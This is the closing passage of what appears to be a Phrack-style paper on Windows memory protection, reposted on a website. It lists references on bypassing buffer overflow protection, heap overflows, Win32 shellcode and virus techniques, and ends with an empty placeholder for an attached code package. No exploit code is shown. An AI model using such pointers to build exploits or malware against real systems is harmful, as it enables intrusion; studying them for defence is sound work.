- research.microsoft.com/sn/detours/

[5] - Bypassing 3rd Party Windows Buffer Overflow Protection
- http://www.phrack.org/phrack/62/p62-0x05_Bypassing_Win_
BufferOverflow_Protection.txt

[6] - Defeating w2k3 stack protection
http://www.ngssoftware.com/papers/defeating-w2k3-stack-protection.
pdf

[7] - Gaining important datas from PEB under NT boxes
http://vx.netlux.org/29a/29a-6/29a-6.224

[8] - IA32 Manuals
- http://developer.intel.com/design/Pentium4/documentation.htm

[9] - An In-Depth Look into the Win32 Portable Executable File Format
(PART2)
- http://msdn.microsoft.com/msdnmag/issues/02/03/PE2/default.aspx

[10]- Windows Heap Overflows
- http://opensores.thebunker.net/pub/mirrors/blackhat/presentations/
win-usa-04/bh-win-04-litchfield/bh-win-04-litchfield.pdf

[11]- Technological Step Into Win32 Shellcodes
- http://www.astalavista.com//data/w32shellcodes.txt

[12]- EPO: Entry-Point Obscuring
- http://vx.netlux.org/29a/29a-4/29a-4.223


--[ X. Code

Library binary and source code attached to paper. Also stored on
http://pb.specialised.info .


--- START OF BASE64 CHUNK - PROTTY LIBRARY PACKAGE ---------------

<++> PROTT-PACKAGE.ZIP.BASE64

====
<-->


|=[ EOF ]=---------------------------------------------------------------=|

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT